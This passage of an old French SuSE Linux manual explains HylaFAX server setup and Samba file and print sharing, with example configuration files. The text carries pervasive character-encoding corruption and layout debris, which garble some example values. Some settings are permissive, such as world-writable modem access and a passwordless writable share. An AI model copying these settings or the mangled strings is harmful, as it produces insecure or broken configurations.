Le protocole qui se cache derriΦre le port 4557 est prΘsent pour des raisons
de compatibilitΘ avec d'anciennes versions HylaFAX . Un client du nom de
WinFlex , de Peter Bentley, qui tourne sous les anciennes versions de Win-
dows utilise encore ce protocole. Les clients plus rΘcents devraient utiliser
le protocole sur le port 4559 qui s'inspire, dans une trΦs large mesure, du
File Transfer Protocol, RFC959. Le troisiΦme protocole est le SNPP (Simple
Network Paging Protocol, RFC1861).
Le serveur lui-mΩme est constituΘ par trois dΘmons dont chacun a des tΓches
dΘterminΘes α accomplir :
hfaxd est le serveur de protocole. Il est responsable de la communication
entre le client et le serveur. Il peut Ωtre lancΘ soit en ``standelone'', par
exemple par le processus Init lors du dΘmarrage du systΦme, soit au
*
* 221
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
Fig. 6.11: Fonctionnement du serveur HylaFAX
moyen de Inetd . Il communique avec le processus faxq par l'intermΘ-
diaire d'un ``fichier FIFO spΘcial''.
faxq est le ``gestionnaire de files d'attente'' . Il est responsable de la gestion
des fax entrants et sortants et de la file d'attente des jobs. Ce processus
tourne en permanence et un seul devrait tourner.
faxgetty est responsable de la communication avec le modem. Comme al-
ternative α faxgetty , on peut utiliser le programme faxmodem si l'on sou-
haite uniquement envoyer des fax sans en recevoir. Il peut en outre Ωtre
gΘrΘ au moyen d'un fichier FIFO 10
Structure des rΘpertoires
Le serveur fonctionne en mode dit ``change-root''. Le rΘpertoire Server-Root
est par dΘfaut /var/spool/fax. Les processus du serveur et le rΘpertoire
Server-Root appartiennent α l'utilisateur et au groupe `uucp'. Le tableau 6.3
page suivante montre tous les rΘpertoires qui se trouvent dans Server-Root et
dΘcrit leur fonction.
1_____________________________________________0
Un fichier FIFO (angl. FIFO = First In First Out) est un fichier dans lequel les donnΘes seront
lues dans l'ordre dans lequel elles ont ΘtΘ Θcrites.
222
____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
*______________________
______________________________________________________________________________________________________________________
archive Les jobs sont archivΘs ici lorsque le job archival support a ΘtΘ
activΘ.
bin Ce rΘpertoire contient les scripts utilisΘs par les programmes
faxq, faxsend, pagesend et faxgetty.
client Ce rΘpertoire contient les fichiers FIFO nΘcessaires pour la
communication avec le programme faxq.
config La configuration, le contr⌠le d'accΦs et la gestion des utilisa-
teurs se trouvent dans ce rΘpertoire ainsi que dans le rΘpertoire
etc.
dev Comme l'ensemble du systΦme tourne dans un environnement
chroot , on touve ici les pΘriphΘriques caractΦres nΘcessitΘs
(null, socksys et tcp).
docq Tout comme le rΘpertoire tmp, ce rΘpertoire est nΘcessaire,
entre autre, pour la prΘparation de jobs sortants.
doneq C'est ici que sont stockΘs les jobs qui sont terminΘs mais n'ont
ΘtΘ ni supprimΘs ni archivΘs.
etc voir config.
info Ce rΘpertoire contient des informations sur les caractΘristiques
et la performance de machines avec lesquelles HylaFAX a dΘjα
ΘtΘ en contact.
log Ce rΘpertoire contient des informations de login concernant
aussi bien l'envoi que la rΘception.
pollq C'est ici que sont stockΘs les documents que l'on a obtenus par
interrogation (angl. polling) du serveur.
sendq C'est ici que l'on met les fax sortants et...
recvq ...ici les fax entrants.
status Ce rΘpertoire contient des fichiers dans lesquels le serveur en-
registre des informations sur son statut actuel.
tmp voir docq.
______________________________________________________________________________________________________________________
Tab. 6.3: Les rΘpertoires Server-Root et leur fonction
En plus de ces rΘpertoires, il existe aussi des fichiers FIFO. Le fichier /var/
spool/fax/FIFO ainsi qu'un fichier /var/spool/fax/FIFO.devname
pour chacun des modems gΘrΘs par faxgetty . devname indique le nom du
pΘriphΘrique auquel le modem est reliΘ.
Configuration
La configuration du serveur est rΘpartie sur 2 α 2+n fichiers de configuration.
`n' est le nombre des fax modems α utiliser. Le rΘpertoire /var/spool/
fax/etc contient les fichiers de configuration config et config.device .
Le deuxiΦme dΘtermine la configuration du modem reliΘ au pΘriphΘrique de-
vice. Si par exemple le modem Θtait reliΘ au pΘriphΘrique /dev/ttyS0, le
nom du fichier serait config.ttyS0.
*
* 223
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
Le fichier config contient des paramΦtres globaux utilisΘs par le proces-
sus scheduler faxq et le fichier config.device des paramΦtres spΘcifiques
au ``gestionnaire de files d'attente'' (angl. queueing agent). Les paramΦtres
spΘcifiques au serveur de protocole se trouvent dans le fichier /usr/lib/
fax/hfaxd.conf. Ces fichiers de configuration sont crΘΘs automatiquement
lorsque l'on exΘcute le script faxsetup aprΦs l'installation.
Exemple de configuration
Voici un exemple de configuration rΘalisΘe au moyen de faxsetup . Nous
partons des donnΘes contenues dans le tableau 6.4.
________________________________________________________________________________________________________*
*________
NumΘro de tΘlΘphone (0)49(0)911-12345611
Modem fax classe 2.0
________________________________________________________________________________________________________*
*________
Tab. 6.4:
Les caractΦres gras dΘsignent les entrΘes qui ont ΘtΘ faites.
Configuration du scheduler
~ Should an entry be added to /etc/inetd.conf [no]? |______|-
~ Country code [1]? 49
~ Area code []? 911
~ Long distance dialing prefix [1]? 0
~ International dialing prefix [011]? 00
~ Dial string rules file (relative to__
/var/spool/fax) ["etc/dialrules"]? |_____-|
~ Tracing during normal server operation [1]? 527
~ Default tracing during send and receive
sessions [0xffffffff]? 527
~ Continuation cover page (relative to
/var/spool/fax) []? etc/cover.templ
~ Timeout when converting PostScript_
documents (secs) [180]? |_____-|
~ Maximum number of concurrent jobs to a destination [1]? |______|-
~ Define a group of modems []? Σ ny :.*"
~ Time of day restrictions for outbound jobs ["Any"]? |______|-
~ Pathname of destination__controls file (relative to
/var/spool/fax) []? |_____-|
~ Timeout before purging a _stale_ UUCP
lock file (secs) [30]? |_____-|
~ Max number of pages to permit in an
outbound job [0xffffffff]? 30
1_____________________________________________1
Vous devez Θvidemment entrer votre propre numΘro de tΘlΘphone et rΘagir de faτon adΘquate
pendant l'exΘcution de faxsetup .
224
____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
*______________________
~ Syslog facility name__for_ ServerTracing
messages [daemon]? |_____-|
AprΦs l'entrΘe de ces donnΘes, il vous sera montrΘ un rΘsumΘ semblable α
celui de l'affichage 6.10.1.
_______________________________________________________________________________________________________________________||
|||||||| The non-default scheduler parameters are: |
|||||||| |
|||||||| |
|||||||| CountryCode: 49 |
|||||||| |
|||||||| AreaCode: 911 |
|||||||| LongDistancePrefix: 0 |
|||||||| InternationalPrefix: 00 |
|||||||| |
|||||||| ServerTracing: 527 |
|||||||| ContCoverPage: etc/cover.templ |
|||||||| |
|||||||| MaxSendPages: 30 |
|||||||| ModemGroup: "any:.*" |
|||||||| |
|||||||| SessionTracing: 527 |
||||||||_______________________________________________________________________________________________________________ |
affichage α l'Θcran 6.10.1:
Configuration du serveur
Lorsque le scheduler a ΘtΘ configurΘ, faxsetup demande si un modem doit
Ωtre configurΘ au moyen de faxaddmodem . Vous rΘpondrez Θvidemment yes
α cette question. Il vous sera ensuite demandΘ α quel port sΘrie le modem est
reliΘ et vous rΘpondrez en indiquant le nom du pΘriphΘrique sans spΘcifier le
chemin complet ~ /dev/modem devient donc modem.
~ Country code [49]? |______|-
~ Area code [911]? |______|-
~ Phone number of fax modem [+1.999.555.1212]?
+49.911.123456
~ Local identification string (for TSI/CIG)
["NothingSetup"]? ⁿS SE GmbH"
~ Long distance dialing prefix [0]? |______|-
~ International dialing prefix [00]? |______|-
~ Dial string rules file (relative to__
/var/spool/fax) ["etc/dialrules"]? |_____-|
~ Tracing during normal server operation [1]? 527
~ Tracing during send and receive sessions [11]? 527
~ Protection mode for received facsimile [0600]? 0644
~ Protection mode for session logs [0600]? |______|-
~ Protection mode for modem [0600]? 0666
~ Rings to wait before answering [1]? |______|-
~ Modem speaker volume [off]? |______|-
~ Command line arguments to getty program ["-h %l dx_%s"]?
"-r -b -s %s %l"
*
* 225
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
~ Pathname of TSI access control list__file_
(relative to /var/spool/fax) [""]? |_____-|
~ Pathname of Caller-ID access control list____
file (relative to /var/spool/fax) [""]? |_____-|
~ Tag line font file (relative to ____
/var/spool/fax) [etc/lutRS18.pcf]? |_____-|
~ Tag line format string ____
["From %%l|%c|Page %%p of %%t"]? |_____-|
~ Time before purging _a__stale UUCP lock
file (secs) [30]? |_____-|
~ Hold UUCP lockfile_ during inbound data
calls [Yes]? |_____-|
~ Hold UUCP lockfile during inbound voice calls [Yes]? |______|-
~ Percent good lines to accept_ during copy
quality checking [95]? |_____-|
~ Max consecutive bad lines to__accept_ during
copy quality checking [5]? |_____-|
~ Max number of pages_ to accept in a received
facsimile [30]? |_____-|
~ Syslog facility name__for_ ServerTracing
messages [daemon]? |_____-|
~ Set UID to 0 to manipulate CLOCAL [""]? |______|-
Le rΘsumΘ que vous voyez dans l'affichage 6.10.2 est ΘlaborΘ aprΦs l'entrΘe
des|donnΘes ci-dessus. *
* |
________________________________________________________________________________________________________*
*________||||
| The non-default server configuration parameters are: *
* |
| *
* |
| CountryCode: 49 *
* |
| *
* |
| AreaCode: 911 *
* |
| FAXNumber: +49.911.123456 *
* |
| *
* |
| LongDistancePrefix: 0 *
* |
| InternationalPrefix: 00 *
* |
| *
* |
| DialStringRules: "etc/dialrules" *
* |
| ServerTracing: 527 *
* |
| *
* |
| SessionTracing: 527 *
* |
| RecvFileMode: 0644 *
* |
| *
* |
| DeviceMode: 0666 *
* |
| RingsBeforeAnswer: 1 *
* |
| SpeakerVolume: off *
* |
| *
* |
| GettyArgs: "-r -b -s %s %l" *
* |
| LocalIdentifier: "SuSE GmbH" *
* |
| *
* |
| TagLineFont: etc/lutRS18.pcf *
* |
| TagLineFormat: "From %%l|%c|Page %%p of %%t" *
* |
| *
* |
| MaxRecvPages: 25 *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 6.10.2:
226
____________________________________________________________________________________________________6.10.__Linux_et_le_fax_*
*_______________________
La configuration du scheduler et du serveur est ainsi terminΘe.
Il vous est encore demandΘ si vous voulez lancer faxmodem pour chaque
modem configurΘ. Il s'agit ici d'une alternative α faxgetty permettant uni-
quement le mode ``send only'' ce qui signifie que vous devez choisir entre les
deux.
Support pour rΘponse adaptative
``Adaptive Answer Support'' est une fonction trΦs utile qui permet au serveur
de lancer n'importe quel autre programme getty lorsqu'il constate qu'il n'est
pas en prΘsence d'un appel de fax mais par exemple d'un appel de donnΘes.
Pour que cela fonctionne, il a ΘtΘ ajoutΘ au fichier de configuration l'entrΘe
contenue dans le fichier 6.10.2 (voir page 223).
_______________________________________________________________________________________________________________________
|||||||| GettyArgs: "-r -b -s %s %l" |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
fichier 6.10.2: EntrΘe pour support de rΘponse adaptative
Le caractΦre joker %s tient la place du dΘbit DTE/DCE entre l'ordinateur et
le modem. Il est de 38400 bps (bits par seconde). Certains modems de la
sociΘtΘ USRobotics ne s'accommodent pas de ce taux (voir la documentation
[Lef96 ]) et il peut survenir des problΦmes lors de la rΘception de fax. On
peut y remΘdier en fixant α 19200 la valeur pour <ModemRate> dans le
fichier de configuration spΘcifique au modem. Le getty α utiliser est mgetty du
paquetage mgetty, sΘrie n (support rΘseau). Mais il est encore indispensable
d'ajouter au fichier de configuration de mgetty (/etc/mgetty+sendfax/
mgetty.config) l'entrΘe du fichier 6.10.3.
_______________________________________________________________________________________________________________________||
|||||||| port modem |
|||||||| direct y |
|||||||| toggle-dtr n |
||||||||_______________________________________________________________________________________________________________ |
fichier 6.10.3: EntrΘe dans le fichier de configuration de mgetty
modem 12 dΘsigne le nom du pΘriphΘrique par lequel on accΦde au modem. Il
est essentiel que faxgetty et mgetty accΦdent tous deux au mΩme pΘriphΘ-
rique.
Distribution de fax
Une autre fonction intΘressante est la transmission automatique de fax en-
trants α une adresse E-mail dΘterminΘe. Ceci est rendu possible par la crΘa-
tion du fichier etc/FaxDispatch dans le rΘpertoire Server-Root. Le fi-
chier 6.10.4 page suivante vous montre l'aspect que doit avoir un tel fichier.
Les fax entrants sont identifiΘs α l'aide de leur TSI. Dans notre exemple, tous
les fax ayant la combinaison de chiffres 0815 dans leur TSI seraient envoyΘs
12 ____________________________________________________
/dev/modem est un lien sur/dev/ttySx.
*
* 227
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________
| case "$SENDER" in *
* |
||*0815*) SENDTO=tux;; *
* ||
| *) SENDTO=FaxMaster;; *
* |
| esac *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 6.10.4: Exemple pour etc/FaxDispatch
par mail α l'utilisateur `tux'13 sous forme d'annexe au mail. On outre, tous
les fax entrants sont transmis au `FaxMaster'.
________________________________________________________________________________________________________*
*________
| *
* |||
| Si l'installation ou la configuration de HylaFAX vous pose des problΦmes, *
* |||
| jetez un coup d'oeil α notre base de donnΘes support (systΦme d'aide pa- *
* |||
| *
* |||
| quetage susehilf, sΘrie doc (Documentation)). Vous y trouverez un tas *
* |||
| d'informations sous le mot-clΘ Σf x". *
* |||
|_______________________________________________________________________________________________________*
*________|||_
1_____________________________________________3
On peut bien entendu changer le format des fichiers en modifiant en consΘquence le script
bin/faxrcvd dans le Server-Root.
228
Chapitre 7
Sur un rythme de Samba : : :
Avec l'ensemble logiciel Samba de l'Australien Andrew Tridgell, il est
possible de transformer n'importe quelle machine UNIX en un puissant ser-
veur de fichiers et d'impression pour machines DOS et Windows. Depuis le
dΘbut de son dΘvellopement en 1991, Samba est devenu un produit trΦs stable
et facilement portable qui s'est fait sa place dans de nombreuses entreprises
o∙ il complΦte et mΩme trΦs souvent remplace les serveurs Novell NetWare -
ou Windows NT .
7.1 Introduction
Samba est devenu un produit trΦs complexe et il ne nous est donc pas possible,
dans ce manuel, d'en faire une description dΘtaillΘe. Nous nous contenterons
de vous donner un aperτu de ses fonctionnalitΘs. Dans le rΘpertoire /usr/
doc/packages/samba, vous trouverez de nombreux documents α l'aide des-
quels vous pourrez rΘaliser des configurations rΘseau complexes. Le fichier
de configuration de Samba est mentionnΘ dans la page de man de smb.conf
(man smb.conf )1 .
Samba utilise le protocole SMB (Server Message Block) de Microsoft. Il
convient toutefois de noter que tous les clients (par exemple les machines
Windows 95 / 98 ou NT) doivent avoir un protocole TCP/IP activΘ. Samba
utilise le protocole SMB au-dessus du protocole TCP/IP. Sur toutes les ma-
chines Windows ayant une connexion Internet, TCP/IP est dΘjα installΘ.
Le protocole SMB (angl. Server Message Block) fournit des services de fi-
chiers et d'impression dans l'environnement Windows et LAN Manager .
Le protocole SMB est basΘ sur les services NetBIOS et peut Ωtre comparΘ
avec NFS pour le service fichiers. Sur ce point, SMB ne se diffΘrencie pas
d'autres protocoles tels que par exemple le NetWare Core Protocol. Micro-
soft, contrairement α Novell, a mis librement α disposition la spΘcification
du protocole SMB, ce qui permet aussi α d'autres plates-formes de supporter
SMB.
L'installation et la configuration de Samba ne sont pas couvertes par l'As-
sistance Technique α l'Installation (voir paragraphe H.1.2 page 558). Nous
sommes cependant volontiers disposΘs α vous venir en aide dans le cadre de
notre Service Pro facturΘ α part (voir paragraphe H.3 page 561).
1 ____________________________________________________
Voir [BD99 ], l'ouvrage sur Samba Θcrit par Olaf Borkner-Delcarlo et publiΘ par SuSE PRESS .
*
* 229
7. Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________*
*_______________________________________@
NetBIOS
NetBIOS est une interface logicielle (API) conτue pour la communication
entre ordinateurs. On dispose ici d'un service de noms (angl. name service)
qui permet aux machines connectΘes au rΘseau de se rΘserver des noms sous
lesquels elles seront ensuite accessibles. Il n'existe aucune instance centrale
qui pourrait attribuer ou vΘrifier les autorisations et chaque machine peut se
rΘserver les noms qui lui convient α condition que ceux-ci ne soient pas dΘjα
utilisΘs par une autre machine.
L'interface NetBIOS peut Ωtre implΘmentΘe sur diffΘrentes architectures rΘ-
seau. Il existe une implΘmentation relativement ``proche'' du matΘriel rΘseau
nommΘe NetBEUI qui est trΦs souvent dΘsignΘe par le terme NetBIOS
Pour l'adressage des diffΘrents paquets, NetBEUI se sert de l'adresse
matΘrielle enregistrΘe dans chaque adaptateur rΘseau. └ la diffΘrence des
adresses IPX ou des adresses IP, celle-ci n'est pas structurΘe d'une maniΦre
qui permette d'obtenir des informations pour le routage. Il n'est donc pas
possible d'acheminer des paquets NetBEUI par routeur et un rΘseau qui
fonctionne avec NetBEUI doit se limiter au secteur accessible au moyen de
rΘpΘteurs ou de ponts.
D'autre protocoles rΘseau avec lesquels NetBIOS a ΘtΘ implΘmentΘ sont IPX
de Novell et TCP/IP. Les RFC 1001 et 1002 dΘcrivent NetBIOS sur TCP/IP.
Le RFC 1001 contient en outre une bonne introduction aux concepts de
NetBIOS. Cette introduction est trΦs utile pour mieux comprendre le fonc-
tionnement de services tels que WINS 2
Les noms NetBIOS qui sont assignΘs au moyen de TCP/IP lorsque l'on im-
plΘmente NetBIOS n'ont rien α voir avec les noms contenus dans le fichier
/etc/hosts ni avec ceux assignΘs par le serveur de noms. NetBIOS est par
lui-mΩme un espace de noms complet. Il est toutefois conseillΘ, pour faciliter
l'administration, d'attribuer aux serveurs des noms NetBIOS qui concordent
avec ceux qui leur ont ΘtΘ assignΘs par le serveur de noms. Samba le fait par
dΘfaut.
Clients
└ part DOS et Windows 3.1, tous les systΦmes d'exploitation courants pour
PC supportent le protocole SMB pour l'importation et l'exportation d'espace
disque. Windows for Workgroups 3.11 supporte aussi SMB mais seulement
(dans son installation standard) par le biais de IPX et NetBEUI. Pour pouvoir
utiliser Samba qui fournit SMB uniquement via TCP/IP, il est nΘcessaire
d'installer des logiciels supplΘmentaires offerts gratuitement par Microsoft.
Pour DOS et Windows 3.1, il existe Θgalement des logiciels Microsoft gratuits
permettant d'utiliser Samba, Ces logiciels sont disponibles sous ftp://ftp.
microsoft.com/bussys/Clients
Les serveurs SMB fournissent α leurs clients de l'espace disque sous forme
de ``partages'' (angl. shares) . Un tel partage est un rΘpertoire rΘseau avec tous
ses sous-rΘpertoires sur le serveur. Il est exportΘ avec un nom sous lequel les
_____________________________________________2
WINS n'est rien d'autre qu'un serveur de noms NetBIOS Θtendu. Ce n'est absolument pas une
idΘe de Microsoft . Seul le nom est nouveau.
230
_________________________________________________________________________________________7.2.__Installation_du_serveur______*
*______________________
clients peuvent y avoir accΦs. Ce nom est librement assignΘ et il n'est pas
nΘcessaire qu'il concorde avec le nom du rΘpertoire exportΘ. Il est Θgalement
attribuΘ α une imprimante exportΘe un nom sous lequel les clients peuvent y
accΘder.
Droits d'accΦs
Un serveur NFS est configurΘ au moyen du fichier /etc/exports. Les res-
trictions d'accΦs sont uniquement possibles lorsqu'elles sont liΘes α une ma-
chine dΘterminΘe. Dans l'environnement pour lequel NFS a ΘtΘ conτu, α sa-
voir les stations de travail Unix, ceci est parfaitement logique car les systΦmes
clients vΘrifient eux-mΩmes l'authentification des utilisateurs. Mais sous DOS
et Windows qui confΦrent α chaque utilisateur de la station de travail des droits
root, le protocole NFS n'est plus α sa place. Les clients NFS souvent utilisΘs
pour DOS doivent Ωtre considΘrΘs comme d'Θnormes brΦches dans la sΘcuritΘ
du systΦme.
Le protocole SMB est issu de l'environnement DOS et tient compte directe-
ment des problΦmes de sΘcuritΘ. Tout accΦs α un partage peut Ωtre protΘgΘ par
un mot de passe. SMB offre pour cela trois possibilitΘs :
~ Niveau de sΘcuritΘ partages
Un mot de passe est attribuΘ α un partage. Tous ceux qui connaissent ce
mot de passe ont accΦs α ce partage.
~ Niveau de sΘcuritΘ utilisateur
Cette variante introduit le concept de l'utilisateur dans SMB. Chaque
utilisateur doit se connecter α un serveur avec un mot de passe. Lorsque la
connexion est rΘalisΘe, le serveur peut, en fonction du nom d'utilisateur,
accorder l'accΦs aux diffΘrents partages exportΘs.
~ Niveau de sΘcuritΘ serveur
Vis-α-vis des clients, Samba prΘtend travailler en mode ``niveau de sΘcu-
ritΘ utilisateur''. Mais en fait il transmet tous les mots de passe α un autre
serveur en mode ``niveau utilisateur'' qui se charge de l'authentification.
Cette configuration requiert un paramΦtre supplΘmentaire (password ser-
ver =).
La distinction entre les niveaux de sΘcuritΘ partages, utilisateur et serveur doit
Ωtre faite pour l'ensemble du serveur. Il n'est pas possible d'exporter certains
partages en mode ``niveau de sΘcuritΘ partages'' et d'autres en mode ``niveau
de sΘcuritΘ utilisateur''.
Pour obtenir un complΘment d'information α ce sujet, lisez le fichier /usr/
doc/packages/samba/textdocs/security_level.txt.
7.2 Installation du serveur
En positionnant la variable <START`SMB> α yes dans le fichier /etc/rc.
config, on dΘmarre les services SMB (voir paragraphe 3.6.12 page 114).
Pratiquement tout ce qui peut Ωtre configurΘ dans Samba se trouve dans le
fichier /etc/smb.conf. Ce fichier rappelle par sa structure les fichiers .INI
*
* 231
7. Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________*
*_______________________________________@
de Windows. Il est subdivisΘ en plusieurs sections qui contiennent chacune
quelques paramΦtres. Chaque section dΘcrit un partage dont le nom est dΘ-
terminΘ par le nom de la section. Il existe en plus quatre sections spΘciales :
[globals] , [pub] , [cdrom] et [printers] . La section [globals] dΘfinit
les paramΦtres de Samba qui ne sont pas spΘcifiques α un partage dΘterminΘ.
Lorsque la section [pub] est crΘΘe, chaque client peut accΘder sans mot de
passe et avec les droit de l'utilisateur ``nobody'' au partage [pub] . Ceci s'ap-
plique aussi α la section [printers] qui met α la disposition des clients
toutes les imprimantes dΘfinies dans /etc/printcap sans qu'il soit nΘces-
saire de les spΘcifier individuellement.
smb.conf
Le fichier 7.2.1 page ci-contre vous montre un exemple de fichier trΦs simple.
Ce fichier /etc/smb.conf met α la disposition des clients le rΘpertoire
/home/pub et toutes les imprimantes qui sont listΘes dans le fichier /etc/
printcap.
~ workgroup = workgroup
Comme toute machine Windows, tout serveur Samba est associΘ α un
groupe de travail sous lequel il apparaεt dans ``l'environnement rΘseau''.
Workgroup est la configuration par dΘfaut de la version anglaise de Win-
dows for Workgroups.
~ guest account = nobody
Samba requiert un utilisateur enregistrΘ dans le fichier /etc/password
qui n'ait aucun droit dans le systΦme de fichiers ou seulement des droits
limitΘs α l'exΘcution de certaines tΓches. Lorsque des partages accessibles
α tous sont dΘfinis (paramΦtre public = yes ), toutes les opΘrations sont
effectuΘes avec cet identification d'utilisateur. MΩme lorsqu'un tel par-
tage accessible α tous n'a pas ΘtΘ dΘterminΘ, le guest account doit Ωtre
dΘfini, sinon la machine Samba n'apparaεtra pas dans l'environnement
rΘseau.
~ keep alive = 30
Les machines Windows ont une fΓcheuse tendance α se planter de temps
en temps. Si par suite d'un plantage elles laissent une connexion ouverte,
il peut arriver que le serveur ne s'en aperτoive que beaucoup plus tard.
Afin que Samba ne gaspille pas inutilement des ressources sur le serveur,
on peut l'inciter, avec le paramΦtre keep alive = 30 , α faire un contr⌠le
toutes les 30 secondes pour savoir si le client est encore en vie.
~ os level = 2
Le paramΦtre os level = 2 spΘcifie que Samba fait office de serveur
de noms pour WfW et Windows 95. Si une machine Windows NT est
prΘsente dans le rΘseau, Samba n'offrira pas ce service mais utilisera lui-
mΩme la machine NT.
~ security = share
Voyez α ce sujet le paragraphe concernant les droits d'accΦs.
232
_________________________________________________________________________________________7.2.__Installation_du_serveur_____________*
*_______________
|||||||| |
|||||||| |
|||||||| |
|||||||| |
_______________________________________________________________________________________________________________________||
|||||||| [global] |
|||||||| |
|||||||| workgroup = workgroup |
|||||||| guest account = nobody |
|||||||| |
|||||||| keep alive = 30 |
|||||||| os level = 2 |
|||||||| |
|||||||| security = share |
|||||||| printing = bsd |
|||||||| printcap name = /etc/printcap |
|||||||| |
|||||||| load printers = yes |
|||||||| |
|||||||| |
|||||||| [pub] |
|||||||| path = /home/pub |
|||||||| |
|||||||| comment = RΘpertoire public |
|||||||| read only = no |
|||||||| |
|||||||| browseable = yes |
|||||||| public = yes |
|||||||| |
|||||||| create mode = 0750 |
|||||||| |
|||||||| [cdrom] |
|||||||| |
|||||||| path = /cdrom |
|||||||| comment = cdrom |
|||||||| |
|||||||| volume = "le_label_du_CD_ROM" |
|||||||| read only = yes |
|||||||| |
|||||||| available = yes |
|||||||| share modes = no |
|||||||| |
|||||||| browseable = yes |
|||||||| public = yes |
|||||||| |
|||||||| |
|||||||| [printers] |
|||||||| comment = All Printers |
|||||||| |
|||||||| browseable = no |
|||||||| printable = yes |
|||||||| |
|||||||| public = no |
|||||||| read only = yes |
|||||||| |
|||||||| create mode = 0700 |
|||||||| directory = /tmp |
||||||||_______________________________________________________________________________________________________________ |
fichier 7.2.1: Exemple de fichier /etc/smb.conf
233
7. Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________*
*_______________________________________@
La section [pub] fixe des paramΦtres pour le rΘpertoire α exporter. Ce rΘ-
pertoire est accessible sans mot de passe α tous les utilisateurs du rΘseau car
public = yes . Il en est de mΩme pour le /cdrom exportΘ.
~ path = /home/pub
Avec path , le rΘpertoire /home/pub est exportΘ.
~ comment = RΘpertoire public
Avec les serveurs SMB, chaque partage peut Ωtre accompagnΘ d'un com-
mentaire qui le dΘfinit de faτon plus prΘcise.
~ browsable = yes
Ce paramΦtre permet au partage pub d'Ωtre visible dans l'environnement
rΘseau.
~ read only = no
Samba interdit par dΘfaut l'accΦs en Θcriture au partages exportΘs.
Mais ceci doit Ωtre autorisΘ dans cette configuration. Pour cela :
read only = no .
~ create mode = 750
Les machines Windows ne connaissent pas le concept des droits d'accΦs
Unix. Elles ne peuvent donc pas spΘcifier avec quelles permissions les fi-
chiers doivent Ωtre crΘΘs.
Le paramΦtre create mode dΘtermine avec quels droits d'accΦs les fi-
chiers doivent Ωtre crΘΘs.
~ public = yes
L'accΦs α ce partage en tant qu'``invitΘ'' (angl. guest) est autorisΘ. Il n'est
pas demandΘ de mot de passe ! L'utilisateur apparaεt comme utilisateur
nobody.
________________________________________________________________________________________________________*
*________||
| Pour faciliter l'administration du serveur Samba, il existe encore le pro- *
* ||||
| gramme swat . Il fournit une interface Web simple qui vous permet de *
* |||
| *
* |||
| configurer aisΘment le serveur Samba. Vous trouverez des informations *
* |||
| au sujet de ce programme sous /usr/doc/packages/samba/htmldocs/ *
* |||
| *
* |||
| swat.8.html ou dans la page de man de swat (man swat ). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
7.3 Installation des clients
Il convient de mentionner que les clients n'ont accΦs au serveur Samba que
par TCP/IP. Pour le moment, NeBEUI ou NetBIOS via IPX ne peuvent pas
Ωtre utilisΘs avec Samba. ╔tant donnΘ que TCP/IP jouit d'une popularitΘ de
plus en plus grande, mΩme pour Novell et Microsoft, il est assez peu probable
qu'un changement se produise.
Windows 95/98
Windows 95/98 a un support intΘgrΘ pour TCP/IP. De mΩme qu'avec Win-
dows for Workgroups, ce support n'est pas installΘ par dΘfaut. Pour ajou-
ter TCP/IP, on sΘlectionne dans l'applet rΘseau de la commande de systΦme
`Ajouter : : : ' sous `Protocoles' TCP/IP de Microsoft. Veillez α ce que
234
________________________________________________________________________________________________________7.4.__Optimisation__*
*______________________
votre adresse rΘseau et votre masque rΘseau soient correctement spΘcifiΘs
(voir paragraphe 25 page 153) ! AprΦs un nouveau dΘmarrage de la machine
Windows, vous pourrez retrouver le serveur Samba bien configurΘ sous `RΘ-
seau' (double clic sur l'ic⌠ne rΘseau de votre bureau).
_______________________________________________________________________________________________________________________||
|||||||| Pour la mise en service d'une imprimante sur le serveur Samba, vous de- ||| |
|||||||| || |
|||||||| vriez installer le pilote gΘnΘral d'imprimante ou le pilote d'imprimante || |
|||||||| PostScript Apple de la version Windows utilisΘe. Le mieux est d'utiliser la || |
|||||||| || |
|||||||| file d'impression Linux qui prΘvoit la reconnaissance automatique d'Aps- || |
|||||||| filter. || |
||||||||_______________________________________________________________________________________________________________||_
7.4 Optimisation
Nous attirons encore une fois votre attention sur le fait que la configuration
qui vous est ici prΘsentΘe a ΘtΘ conτue pour des utilisateurs privΘs. Elle n'est
pas adΘquate pour un usage professionnel. Notre Service Pro vous aidera
volontiers α rΘsoudre les problΦmes que vous pourriez avoir α ce sujet (voir
paragraphe H.3 page 561).
La configuration par dΘfaut qui vous est proposΘe dans le fichier /etc/smb.
conf est trΦs lente. Voici quelques suggestions pour l'optimiser.
~ socket options = TCP_NODELAY
Le protocole TCP/IP essaie toujours de rassembler plusieurs petits blocs
de donnΘes. Comme Samba utilise un grand nombre de ces petits blocs
de donnΘes, il est recommandΘ dans la pratique de dΘsactiver ce compor-
tement avec l'option socket options = TCP_NODELAY
~ oplocks = yes
Avec cette option, les accΦs en Θcriture α des fichiers modifiΘs ne seront
effectifs que lorsqu'un autre client voudra lire le mΩme fichier. Cette op-
tion agit donc comme un cache d'Θcriture.
~ write raw = yes
Raw write permet d'envoyer 65535 octets dans chaque datagramme et
peut Θventuellement procurer un net accroissement de la performance.
Avec certaines cartes rΘseau bon marchΘ, il peut cependant Ωtre prΘfΘrable
de positionner cette option α write raw = no .
~ read raw = yes
Agit comme write raw = yes mais concerne la lecture des donnΘes.
_______________________________________________________________________________________________________________________||
|||||||| Vous trouverez dans les fichiers /usr/doc/packages/samba/ ||| |
|||||||| || |
|||||||| textdocs/Speed.txt et /usr/doc/packages/samba/textdocs/ || |
|||||||| Speed2.txt un complΘment d'information et de nombreux tuyaux pour || |
|||||||| || |
|||||||| mener α bien l'optimisation || |
||||||||_______________________________________________________________________________________________________________||_
*
* 235
7. Sur un rythme de_Samba_:_:_:___________________________________________________________________________________________________*
*_______________________________________@
236
QuatriΦme partie
Le systΦme X Window
237
Chapitre 8
Le systΦme X Window
Le systΦme X Window est pratiquement devenu un standard d'interface gra-
